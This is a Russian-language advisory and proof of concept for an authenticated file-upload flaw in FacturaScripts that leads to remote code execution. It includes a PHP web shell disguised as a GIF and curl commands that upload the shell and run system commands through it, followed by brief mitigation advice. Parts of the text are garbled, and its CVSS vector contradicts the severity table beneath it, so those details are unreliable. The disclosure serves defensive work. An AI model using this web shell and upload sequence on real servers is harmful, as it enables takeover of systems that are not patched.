
FacturaScripts RCE Exploit - Proof of Concept
В функциональности загрузки изображений товаров в FacturaScripts существует уязвимость аутентифицированной неограниченной загрузки файлов. Злоумышленник с действительными учетными данными может загрузить PHP-файл, замаскированный под GIF-изображение (с использованием заголовка GIF89a), обходя проверку MIME-типа. Файл сохраняется с его исходным расширением, включая исполняемые расширения, такие как .php.
Уязвимость существует в:
Core/Lib/ExtendedController/ProductImagesTrait.php
Конкретно в методе addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php в каталоге, доступном через вебЗагруженные файлы сохраняются в:
/MyFiles/YYYY/MM/X.php
Где X — это автоинкрементный идентификатор. Это позволяет прямое удаленное выполнение:
http://target/MyFiles/2026/03/2.php?cmd=id
Успешная эксплуатация позволяет:
Злоумышленник может загружать файлы с исполняемыми расширениями (например, .php) на сервер, что в зависимости от конфигурации сервера может привести к дальнейшей эксплуатации.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID из файлов cookie браузераcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Базовый балл: 6.3 (Умеренный)
| Метрика | Значение |
|---|---|
| Вектор атаки | Сеть (AV:N) |
| Сложность атаки | Низкая (AC:L) |
| Требуемые привилегии | Низкие (PR:L) |
| Взаимодействие с пользователем | Нет (UI:N) |
| Область действия | Изменена (S:C) |
| Конфиденциальность | Высокая (C:H) |
| Целостность | Высокая (I:H) |
| Доступность | Высокая (A:H) |
| Поле | Значение |
|---|---|
| Экосистема | Packagist |
| ID CVE | CVE-2026-42879 |
| Имя пакета | facturascripts/facturascripts |
| Затронутые версии | <= 2025.81 |
| Исправленные версии | Ещё не исправлено |
| Исправлено в | Ожидается |
.php, .phtml, .phar или другие исполняемые расширения, независимо от MIME-типаgetClientOriginalName(); назначайте безопасное имя на основе UUID с проверенным расширениемfileinfo, а не доверяйте MIME-типу, предоставленному клиентом